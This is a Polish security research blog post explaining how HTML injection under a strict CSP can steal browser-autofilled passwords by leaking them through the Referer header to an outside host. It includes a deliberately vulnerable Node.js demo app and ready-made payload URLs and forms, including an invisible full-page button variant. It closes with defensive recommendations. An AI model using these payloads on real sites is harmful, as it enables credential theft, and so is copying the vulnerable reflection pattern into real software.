
W Internecie często można spotkać techniki kradzieży haseł z menedżerów za pomocą XSS. Rzadziej widuje się ataki z wykorzystaniem HTML Injection z minimalną interakcją użytkownika, w dodatku przy mniej restrykcyjnej polityce CSP.
Podczas testów znalazłem podatność HTML Injection, która była bardzo ograniczona przez restrykcyjną politykę CSP. Moim celem było zwiększenie wpływu podatności pomimo bezpiecznej polityki CSP - a droga do tego prowadziła przez autouzupełnianie haseł w przeglądarce i jedno nietypowe zachowanie nagłówka Referer.
Czym jest autouzupełnianie haseł i dlaczego bywa groźne? Autouzupełnianie haseł to funkcja menedżera haseł, która zapisuje dane logowania i wstawia je ponownie w każdym pasującym formularzu na danej stronie. Atakujący, który potrafi wstrzyknąć HTML na stronę, podstawia własny formularz, pozwala przeglądarce wypełnić go zapisanym hasłem i wyprowadza wynik. Bez wykonania JavaScriptu - dlatego restrykcyjna polityka CSP tego ataku nie zatrzymuje.
Celem wpisu jest pokazanie zwiększonego wpływu podatności nawet przy bezpiecznej polityce Content-Security-Policy oraz opisanie nietypowego zachowania przeglądarek związanego z nagłówkiem Referer.
Bezpieczeństwo nagłówka Referer
Nagłówek `Referer` zawiera informacje o adresie URL strony, w tym o parametrach. Załóżmy, że przechodzimy ze strony A do strony B. Przeglądarka automatycznie dołączy nagłówek Referer do żądania strony B z informacją o pochodzeniu żądania, czyli stronie A. W zależności od konfiguracji oraz rodzaju nawigacji taki nagłówek może zostać dołączony z pełnym adresem URL razem z parametrami, a w innym przypadku nie zostanie dołączony w ogóle. W zdecydowanej większości przypadków nagłówek Referer zawiera informacje tylko o protokole, domenie oraz porcie - bez parametrów czy ścieżki URL.
Nagłówek Referer może zawierać Origin (protokół, domenę oraz port, np. https://afine.com:443), ścieżkę oraz parametry. Nie może natomiast zawierać danych typu Basic auth ani treści po fragmencie #.
Kiedy przeglądarka dołącza nagłówek Referer?
Dokumentacja Mozilli wspomina:
"When you click a link, the Referer contains the address of the page that includes the link. When you make resource requests to another domain, the Referer contains the address of the page that uses the requested resource."
Jeżeli klikamy link lub wysyłamy żądanie, np. przez src, <img> itd., wtedy nagłówek Referer jest wysyłany. Dotyczy to też metod takich jak fetch(). Dodatkowo nagłówek Referer jest wysyłany przy nawigacji wstecz i dalej w przeglądarce, przy przekierowaniach przez HTTP Status Code oraz przez tagi <meta>:
"The Referer should also be sent in requests following a Refresh response (or equivalent <meta http-equiv="refresh" content="...">) that causes a navigation to a new page, if permitted by the referrer policy."
Domyślne zachowanie przeglądarki dla nagłówka Referer
Kiedy aplikacja nie definiuje polityki dla nagłówka Referer przez nagłówek `Referrer-Policy` lub tagi <meta>, przeglądarka stosuje politykę strict-origin-when-cross-origin. Jest to polityka domyślna, która działa dla większości stron, ponieważ większość stron nie definiuje własnej polityki. W tym przypadku dla żądania z tym samym Originem (w praktyce żądania ze strony A do A) dołączony jest nagłówek Referer z Originem, ścieżką oraz parametrami. W pozostałych przypadkach przeglądarka wysyła tylko informacje o Origin.
Przykładowo: po kliknięciu na stronie https://afine.com/about-us?test_parameter=1337 w link prowadzący do https://afine.com/, przeglądarka dołączy do żądania cały adres URL, czyli https://afine.com/about-us?test_parameter=1337. W tym samym przypadku, ale gdy klikamy w link do https://google.com, przeglądarka dołączy tylko Origin, czyli https://afine.com, bez parametrów oraz ścieżki.
Dziwne zachowanie przeglądarek
Postanowiłem sprawdzić, jak przeglądarki Safari, Chrome oraz Firefox zachowują się w zależności od obecności nagłówka Referrer-Policy oraz tagów <meta> w sekcji <head>.
W tym celu przetestowałem tagi <img>, <script>, <iframe>, <link>, <a>, <form>, przekierowanie przez <meta> oraz metodę fetch(), z polityką ustawioną jako atrybut referrerpolicy na unsafe-url. Wynik pokazał, że przeglądarki zachowują się w bardzo niejednolity sposób.
Zaczynając od Safari: jeżeli aplikacja nie definiuje polityki Referera, atakujący może wykraść dane, ustawiając tag <a> na politykę unsafe-url. Ten sam sposób działa również dla przekierowań tagiem <meta> - oba zdradzają pełny adres URL. Z kolei inne tagi zdradzają tylko Origin, co jest zgodne z założeniem. W przypadku Firefoxa sprawa wygląda dokładnie tak samo.
Chrome zdradza pełny adres URL dla większości tagów, a konkretnie <img>, <script>, <iframe>, <a>, w metodzie fetch() oraz oczywiście przez przekierowanie tagiem <meta>. Testy wykazały, że niezależnie od tego, czy polityka zostanie ustawiona w tagach, czy w nagłówku Referrer-Policy, działa tak samo - nie ma tutaj kolizji.
Rozważmy drugi przypadek: aplikacja ustawia nagłówek Referrer-Policy na no-referrer, co powinno blokować dołączanie tego nagłówka. W przypadku Safari tagi <img>, <script>, <iframe> zdradzają Origin, metoda fetch() też zdradza Origin, z kolei tag <a> i przekierowanie <meta> zdradzają cały URL. To samo dotyczy Firefoxa. Chrome ujawnia cały URL dla tagów <img>, <script>, <iframe>, <a>, metody fetch() oraz przekierowania <meta>. Tak jak wspomniałem o braku kolizji, te same wyniki uzyskujemy przy ustawieniu polityki przez tagi <meta> w sekcji <head>.
Spośród wszystkich przeglądarek najmniej restrykcyjny jest Chrome. Atakujący z możliwością HTML Injection może w zasadzie ujawnić cały URL dla większości tagów, niezależnie od polityki zdefiniowanej w nagłówku HTTP lub w sekcji <head>. Safari i Firefox zachowują się znacznie bezpieczniej, ale nadal pozwalają na za dużo.
Poniższy fragment specyfikacji może sugerować, dlaczego Chrome jest tak pobłażliwy. Specyfikacja Referrer Policy W3C oraz standard HTML opisują kolejność, w jakiej przetwarzane są sygnały polityki Referera - najpierw typ linku noreferrer, następnie atrybut referrerpolicy, potem dowolny element <meta> z name="referrer", a na końcu nagłówek Referrer-Policy. Pozostałe przeglądarki zignorowały część tej dokumentacji, tworząc bezpieczniejsze podejście - choć, jak się okazuje, nadal nie do końca bezpieczne.

Rezultatem tych testów jest informacja, że atakujący może nadpisać politykę Referera i ujawnić cały adres URL niezależnie od użytej przeglądarki spośród tych trzech. Metoda z tagiem <a> oraz przekierowanie przez tag <meta> działają na każdej z trzech przeglądarek. Do ataku wyciągania haseł z menedżerów użyłem metody z przekierowaniem przez tag <meta>, ponieważ nie wymaga ona od użytkownika dodatkowej interakcji, jak w przypadku tagu <a>.
Reflected HTML Injection w parametrze GET
Jeżeli aplikacja jest podatna na reflected HTML Injection przez GET, można w bardzo łatwy sposób wyciągnąć hasła z menedżerów. W celu prezentacji napisałem prostą aplikację w NodeJS:
const express = require("express");
const bodyParser = require("body-parser");
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
[
"default-src 'none'",
"script-src 'none'",
"style-src 'none'",
"img-src 'none'",
"font-src 'none'",
"connect-src 'none'",
"frame-src 'none'",
"object-src 'none'",
"base-uri 'none'",
"form-action 'self'",
"frame-ancestors 'none'"
].join("; ")
);
next();
});
app.get("/", (req, res) => {
const vulnerableParam = req.query.html || "";
res.send(`
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login Panel</h1>
<form method="POST" action="/login">
<input type="email" name="email"><br><br>
<input type="password" name="password"><br><br>
<button type="submit">Login</button>
</form>
<hr>
${vulnerableParam}
</body>
</html>
`);
});
app.post("/login", (req, res) => {
const { email, password } = req.body;
res.send("Success");
});
app.listen(3000, () => {
console.log("Server running on http://localhost:3000");
});
Aplikacja zawiera prosty formularz logowania, który wyzwala możliwość zapisania hasła w menedżerze haseł. Ma też bardzo restrykcyjną politykę Content-Security-Policy - znacznie ostrzejszą niż typowe polityki spotykane w praktyce.
W zasadzie polityka ta zakłada, że na stronie nie mogą być załadowane żadne obrazy, czcionki, skrypty, ramki itd. Można jedynie wysyłać formularze, ale tylko w tej samej domenie, na której działa serwer, czyli ze strony A do A, np. do innej ścieżki. W praktyce polityka jest zazwyczaj luźniejsza i pozwala przynajmniej na 'self', czyli korzystanie z tych zasobów w obrębie tej samej strony - co i tak jest bardzo restrykcyjną polityką CSP. Mimo to nadal istnieje możliwość eksfiltracji danych poza serwer.
Serwer zawiera podatny parametr html przekazywany przez URL, który pozwala na wykonanie XSS, ale w praktyce z powodu polityki CSP zarówno XSS, jak i CSS Injection są blokowane. Mamy więc do dyspozycji tylko kod HTML.
Na potrzeby testów należy wpisać dowolne dane logowania i pozwolić przeglądarce Chrome lub Firefox na zapisanie ich w menedżerze haseł. Kolejnym celem jest eksploitacja parametru html.
Menedżer haseł sam wypełnia dane uwierzytelniające, a wstrzyknięty tekst renderuje się kursywą poniżej formularza.

Wstrzyknięcie kodu JavaScript zostaje od razu zablokowane przez przeglądarkę z powodu restrykcyjnej polityki CSP.

Niech autouzupełnianie haseł zrobi robotę za nas
W celu wykorzystania podatności możemy najpierw zdefiniować formularz, który prosi o to samo - email oraz hasło. Autouzupełnianie haseł w przeglądarce wypełni nasz formularz automatycznie:
<form action="/"><input type=email name=email /><input type=password name=password /><input type=submit /></form>Definiujemy formularz, który prosi o te same pola, a menedżer haseł wypełnia go za nas. Jeżeli użytkownik kliknie przycisk, dane uwierzytelniające zostaną przesłane metodą GET w adresie URL do ścieżki /. Działa to dlatego, że menedżer haseł nie sprawdza, czy dane z <form> wysyłane są metodą GET, czy POST.

Jeśli użytkownik kliknie przycisk, dane uwierzytelniające trafiają do adresu URL jako parametry GET - email oraz hasło, w postaci jawnej.

Eksfiltracja danych, gdy CSP blokuje wszystko
Nadal pojawia się problem - jak wysłać te dane na serwer, skoro polityka CSP zabrania wszystkiego? Można posłużyć się dwoma sztuczkami.
Pierwsza sztuczka polega na zdefiniowaniu polityki nagłówka Referer, korzystając z tego, że aplikacja nie posiada własnej polityki Referera, tylko domyślną przeglądarkową. W tym celu należy, za pomocą HTML Injection, dodać tag <meta name="referrer" content="unsafe-url">. Ustawia on politykę na unsafe-url, która zdradzi cały adres URL ze ścieżką oraz parametrami - czyli hasłem i emailem w parametrach - jeżeli użytkownik przejdzie na inną stronę. Tylko jak go do tego zmusić? Tu z pomocą przychodzi druga sztuczka, która pozwala przekierować użytkownika na inną stronę pomimo restrykcyjnej polityki CSP: <meta http-equiv="Refresh" content="0,url=https://afine.com" />.
Połączenie tych dwóch sztuczek pozwala wyciągnąć informacje o emailu i haśle na stronę atakującego:
http://localhost:3000/?email=test%40test.com&password=TajneHaslo&html=%3Cmeta%20name=%22referrer%22%20content=%22unsafe-url%22%3E%3Cmeta%20http-equiv=%22Refresh%22%20content=%220,url=https://afine.com%22%20/%3ERezultatem jest wyciek emaila i hasła do strony https://afine.com mimo bardzo restrykcyjnej polityki CSP.

Jedno kliknięcie zamiast dwóch
Zostaje jednak jeden problem - jak zmusić użytkownika, żeby dokleił te dane do adresu URL, który już zawiera email i hasło? Okazuje się, że nie ma takiej potrzeby.
http://localhost:3000/?html=%3Cform%20action=%22/%22%3E%3Cinput%20type=email%20name=email%20/%3E%3Cinput%20type=password%20name=password%20/%3E%3Cinput%20name=html%20value=%27/?html=%3Cmeta%20name=%22referrer%22%20content=%22unsafe-url%22%3E%20%3Cmeta%20http-equiv=%22Refresh%22%20content=%220,url=https://afine.com%22%20/%3E%27%20/%3E%3Cinput%20type=submit%20/%3E%3C/form%3ECzyli:
<form action="/"><input type=email name=email /><input type=password name=password /><input name=html value='/?html=<meta name="referrer" content="unsafe-url"> <meta http-equiv="Refresh" content="0,url=https://afine.com" />' /><input type=submit /></form>Definiujemy formularz, który wypełnia sam menedżer haseł, ale dodajemy dodatkowe pole html ze złośliwym ładunkiem. W praktyce, kiedy użytkownik kliknie przycisk, zostanie przekierowany do strony /?email=&password=&html= z parametrem zawierającym niebezpieczną politykę nagłówka Referer oraz przekierowanie przekazane w parametrze html. Innymi słowy, wysłanie przez użytkownika formularza stworzonego za pomocą HTML Injection uruchamia atak po raz drugi, już z inną zawartością HTML Injection.
Przy tej interakcji email i hasło zostaną wysłane metodą GET, a dodatkowo wysłany zostanie parametr html, który tym razem - zamiast budować formularz - ustawia niebezpieczną politykę nagłówka Referer i przekierowuje na stronę atakującego. W efekcie wystarczy, że użytkownik kliknie tylko raz, a nie dwa razy.
Jedno kliknięcie w dowolnym miejscu strony
Atak można ulepszyć, ale wymaga to możliwości wstrzyknięcia inline CSS - czyli tej samej polityki Content-Security-Policy, ale z style-src 'unsafe-inline':
HTML
<form action="/"><input type=email name=email /><input type=password name=password /><input name=html value='/?html=<meta name="referrer" content="unsafe-url"> <meta http-equiv="Refresh" content="0,url=https://afine.com" />'' /><input type=submit style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 999999; opacity: 0"/></form>Atrybut style pozwala zdefiniować przycisk, który jest niewidoczny i rozciągnięty na całą stronę. Sprawia to, że nieważne, gdzie na stronie kliknie użytkownik - formularz się wykona. To znacznie silniejszy atak, zbudowany z wykorzystaniem HTML i CSS Injection.
Jak widać, atak HTML Injection pozwala w łatwy sposób wyciągnąć dane zapisane w menedżerze haseł.
Dlaczego menedżery haseł doklejają hasła do formularzy GET?
Warto zapytać, dlaczego menedżery haseł doklejają hasła do formularzy wysyłanych metodą GET. Zwiększa to ryzyko np. wycieku hasła do logów, ale też znacząco ułatwia eksfiltrację haseł bez XSS - czyli właściwie bez dostępu do treści strony.
Dziwne jest zachowanie Firefoxa. Tworząc fałszywy formularz z atrybutem action w podatnej domenie, Firefox sam wypełnia hasła nawet wtedy, gdy nie jest to dokładnie ta sama domena, ale np. subdomena. Z kolei jeżeli action wskazuje na domenę atakującego, Firefox nie wypełni automatycznie danych uwierzytelniających, co utrudnia atak.
Podobnie zachowuje się Safari. Proponuje wypełnienie hasła tylko wtedy, gdy domena w action się zgadza. Jeśli to domena atakującego, Safari proponuje wygenerowanie nowego hasła.
Ciekawym przypadkiem jest Chrome, który wypełnia dane zawsze, niezależnie od domeny w action.
Oczywiste jest, że mój atak działa - formularz jest w końcu wysyłany w tej samej domenie. Zastanawiające jest jednak, dlaczego przeglądarki chronią przed kradzieżą haseł w przypadku innej domeny w action, a nie chronią przed wysłaniem hasła metodą GET, co przy HTML Injection niemal zawsze pozwala je wyciągnąć.
Rekomendacje
- Nie polegaj na samej restrykcyjnej polityce CSP przy ochronie strony logowania. Polityka z script-src 'none' zatrzymuje XSS, ale nie zatrzymuje HTML Injection, podstawiania formularzy, przekierowań <meta> ani wycieku przez Referer. Napraw podatność u źródła: koduj kontekstowo cały odbijany input.
- Ustaw jawną, restrykcyjną politykę [`Referrer-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy). Nie zostawiaj wrażliwej aplikacji na domyślnej polityce przeglądarki. no-referrer lub same-origin ogranicza powierzchnię wycieku URL - choć, jak pokazano wyżej, wstrzyknięty <meta> nadal może ją nadpisać w Chrome, więc traktuj to jako obronę warstwową, a nie pełne rozwiązanie.
- Nigdy nie umieszczaj danych uwierzytelniających ani sekretów w adresach URL. Nawet bez atakującego parametry GET trafiają do logów serwera, logów proxy i historii przeglądarki.
- Traktuj każdy odbijany parametr jako punkt wstrzyknięcia, nawet gdy XSS jest zablokowany. Sam HTML i CSS Injection wystarczą, by zaatakować autouzupełnianie haseł.
Często zadawane pytania
Czym jest autouzupełnianie haseł i dlaczego stanowi zagrożenie?
Autouzupełnianie haseł to wbudowana funkcja menedżera haseł, która zapisuje dane logowania i wstawia je ponownie w pasujących formularzach. Ryzyko polega na tym, że przeglądarka wypełnia każdy formularz email/hasło na danej stronie niezależnie od tego, dokąd ten formularz wysyła dane - również formularz podstawiony przez HTML Injection. W połączeniu z wyciekiem nagłówka Referer pozwala to atakującemu przechwycić zapisane hasło bez uruchamiania JavaScriptu.
Czy HTML Injection może wykraść hasła bez XSS?
Tak. Jeżeli można wstrzyknąć HTML na stronę, na której użytkownik zapisał dane logowania, można podstawić własny formularz. Menedżer haseł go wypełnia, a wynik wyprowadzamy przez wyciek Referer lub przekierowanie. Ponieważ żaden skrypt się nie wykonuje, polityka Content-Security-Policy blokująca XSS nie blokuje tego ataku.
Czy restrykcyjna polityka Content-Security-Policy zatrzymuje ten atak?
Nie. Restrykcyjna polityka CSP - nawet script-src 'none' z default-src 'none' - zatrzymuje XSS i CSS Injection, ale nie zatrzymuje HTML Injection, podstawionych formularzy, przekierowań <meta> ani wycieku nagłówka Referer. Atak opisany w tym wpisie został zbudowany właśnie pod bardzo restrykcyjną politykę CSP.
Dlaczego autouzupełnianie haseł w Chrome wypełnia formularze wysyłane do innej domeny?
Chrome wypełnia zapisane dane na podstawie domeny strony, a nie celu w atrybucie action formularza. Firefox i Safari odmawiają autouzupełniania, gdy action wskazuje na inną domenę, ale Chrome wypełnia zawsze. W tym ataku formularz i tak wysyła dane do tej samej domeny, więc nawet bardziej restrykcyjne przeglądarki są podatne.
Jak wyprowadzić dane, gdy CSP blokuje wszystkie żądania zewnętrzne?
Wykorzystując nagłówek Referer. Wstrzyknij <meta name="referrer" content="unsafe-url">, aby wymusić umieszczenie pełnego adresu URL (z danymi uwierzytelniającymi w parametrach) w nagłówku Referer, a następnie wstrzyknij <meta http-equiv="Refresh" content="0,url=https://attacker.com">, aby przekierować przeglądarkę na stronę atakującego. Przeglądarka wyśle dane uwierzytelniające w nagłówku Referer tego przekierowania.
Jak zapobiec temu atakowi?
Koduj odbijany input, aby usunąć HTML Injection u źródła, ustaw jawną, restrykcyjną politykę Referrer-Policy i nigdy nie przenoś danych uwierzytelniających w adresach URL. Polityka CSP jest przydatna jako obrona warstwowa, ale sama w sobie nie wystarcza.
Podsumowanie
Najbardziej niepokojąca w tym znalezisku nie jest sama podatność - to zachowanie menedżera haseł. Przeglądarki bardzo starają się blokować kradzież danych, gdy action formularza wskazuje na obcą domenę, ale bez problemu przekazują zapisane hasło żądaniu GET w tej samej domenie, gdzie dowolny HTML Injection może je odczytać z adresu URL.




